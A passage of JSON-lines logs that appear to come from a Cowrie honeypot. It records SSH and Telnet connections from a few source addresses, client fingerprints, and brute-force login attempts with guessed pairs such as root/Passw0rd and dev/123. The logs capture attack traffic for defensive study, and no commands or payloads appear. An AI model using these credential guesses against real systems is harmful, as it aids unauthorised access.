0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:07.285038Z","src_ip":"31.40.204.166","session":"45cd077c022e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:07.719876Z","src_ip":"31.40.204.166","session":"45cd077c022e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34568,"dst_ip":"10.17.0.5","dst_port":23,"session":"b91e701ca5c0","protocol":"telnet","message":"New connection: 152.42.224.71:34568 (10.17.0.5:23) [session: b91e701ca5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:07.726009Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:08.895121Z","src_ip":"31.40.204.166","session":"45cd077c022e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.148243188858032,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:10.672099Z","src_ip":"152.42.224.71","session":"4a27b7d60b28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34572,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d2bc590e565","protocol":"telnet","message":"New connection: 152.42.224.71:34572 (10.17.0.5:23) [session: 4d2bc590e565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:11.010388Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34578,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffde8835167f","protocol":"telnet","message":"New connection: 152.42.224.71:34578 (10.17.0.5:23) [session: ffde8835167f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:14.315114Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36684,"dst_ip":"10.17.0.5","dst_port":23,"session":"05ee52f3c40f","protocol":"telnet","message":"New connection: 152.42.224.71:36684 (10.17.0.5:23) [session: 05ee52f3c40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:17.274819Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47080,"dst_ip":"159.203.135.109","dst_port":22,"session":"15c6577258f1","protocol":"ssh","message":"New connection: 31.40.204.166:47080 (159.203.135.109:22) [session: 15c6577258f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:18.887265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:18.893656Z","src_ip":"31.40.204.166","session":"15c6577258f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:19.027981Z","src_ip":"31.40.204.166","session":"15c6577258f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:19.818212Z","src_ip":"31.40.204.166","session":"15c6577258f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:21.016131Z","src_ip":"31.40.204.166","session":"15c6577258f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39758,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7498c3d8ebb","protocol":"telnet","message":"New connection: 152.42.224.71:39758 (10.17.0.5:23) [session: b7498c3d8ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:27.456210Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39772,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebf9193e1986","protocol":"telnet","message":"New connection: 152.42.224.71:39772 (10.17.0.5:23) [session: ebf9193e1986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:27.970503Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48978,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c72fdbe0ac5","protocol":"ssh","message":"New connection: 31.40.204.166:48978 (159.203.135.109:22) [session: 2c72fdbe0ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:31.182966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:31.213874Z","src_ip":"31.40.204.166","session":"2c72fdbe0ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:31.412788Z","src_ip":"31.40.204.166","session":"2c72fdbe0ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123","message":"login attempt [dev/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:31.922677Z","src_ip":"31.40.204.166","session":"2c72fdbe0ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:33.108590Z","src_ip":"31.40.204.166","session":"2c72fdbe0ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.547518491744995,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:34.355142Z","src_ip":"152.42.224.71","session":"c50d98378d65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43696,"dst_ip":"159.203.135.109","dst_port":22,"session":"250b6cfcdcc6","protocol":"ssh","message":"New connection: 31.40.204.166:43696 (159.203.135.109:22) [session: 250b6cfcdcc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:42.713275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:42.718178Z","src_ip":"31.40.204.166","session":"250b6cfcdcc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:42.885104Z","src_ip":"31.40.204.166","session":"250b6cfcdcc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58444,"dst_ip":"10.17.0.5","dst_port":23,"session":"b654f9570bf5","protocol":"telnet","message":"New connection: 152.42.224.71:58444 (10.17.0.5:23) [session: b654f9570bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:43.309177Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:43.401838Z","src_ip":"31.40.204.166","session":"250b6cfcdcc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:44.708639Z","src_ip":"31.40.204.166","session":"250b6cfcdcc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00204086303711,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:45.234970Z","src_ip":"152.42.224.71","session":"dabcac6ba4c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00196433067322,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:46.329809Z","src_ip":"152.42.224.71","session":"d0d7f815319d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":55604,"dst_ip":"159.203.135.109","dst_port":22,"session":"83cb709fc8ec","protocol":"ssh","message":"New connection: 103.77.175.15:55604 (159.203.135.109:22) [session: 83cb709fc8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:47.263409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:47.268595Z","src_ip":"103.77.175.15","session":"83cb709fc8ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:47.521351Z","src_ip":"103.77.175.15","session":"83cb709fc8ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:48.281341Z","src_ip":"103.77.175.15","session":"83cb709fc8ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.489277601242065,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:48.804253Z","src_ip":"152.42.224.71","session":"ffde8835167f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:49.536958Z","src_ip":"103.77.175.15","session":"83cb709fc8ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54604,"dst_ip":"10.17.0.5","dst_port":23,"session":"faafc9753c5b","protocol":"telnet","message":"New connection: 152.42.224.71:54604 (10.17.0.5:23) [session: faafc9753c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:50.497173Z"}
{"eventid":"cowrie.session.closed","duration":55.7579505443573,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:50.868916Z","src_ip":"152.42.224.71","session":"786237cf90bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54608,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1ce590a9c97","protocol":"telnet","message":"New connection: 152.42.224.71:54608 (10.17.0.5:23) [session: d1ce590a9c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:51.817369Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57890,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a37481062de","protocol":"ssh","message":"New connection: 31.40.204.166:57890 (159.203.135.109:22) [session: 7a37481062de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:54.380249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:54.387776Z","src_ip":"31.40.204.166","session":"7a37481062de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:54.518884Z","src_ip":"31.40.204.166","session":"7a37481062de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54610,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1b4418520dd","protocol":"telnet","message":"New connection: 152.42.224.71:54610 (10.17.0.5:23) [session: b1b4418520dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:54.645593Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:55.202993Z","src_ip":"31.40.204.166","session":"7a37481062de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:00:56.382983Z","src_ip":"31.40.204.166","session":"7a37481062de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.72482228279114,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:03.999476Z","src_ip":"152.42.224.71","session":"05ee52f3c40f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":32892,"dst_ip":"159.203.135.109","dst_port":22,"session":"687fe50c6be2","protocol":"ssh","message":"New connection: 31.40.204.166:32892 (159.203.135.109:22) [session: 687fe50c6be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:06.821155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:06.826161Z","src_ip":"31.40.204.166","session":"687fe50c6be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39552,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c01c2d1efe0","protocol":"telnet","message":"New connection: 152.42.224.71:39552 (10.17.0.5:23) [session: 5c01c2d1efe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:06.954534Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:06.989935Z","src_ip":"31.40.204.166","session":"687fe50c6be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:07.722133Z","src_ip":"31.40.204.166","session":"687fe50c6be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:08.897461Z","src_ip":"31.40.204.166","session":"687fe50c6be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0041024684906,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:12.095280Z","src_ip":"152.42.224.71","session":"5bbf30b4d5c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53788,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b4744c509fe","protocol":"ssh","message":"New connection: 31.40.204.166:53788 (159.203.135.109:22) [session: 5b4744c509fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:18.785069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:18.809529Z","src_ip":"31.40.204.166","session":"5b4744c509fe","protocol":"ssh"}
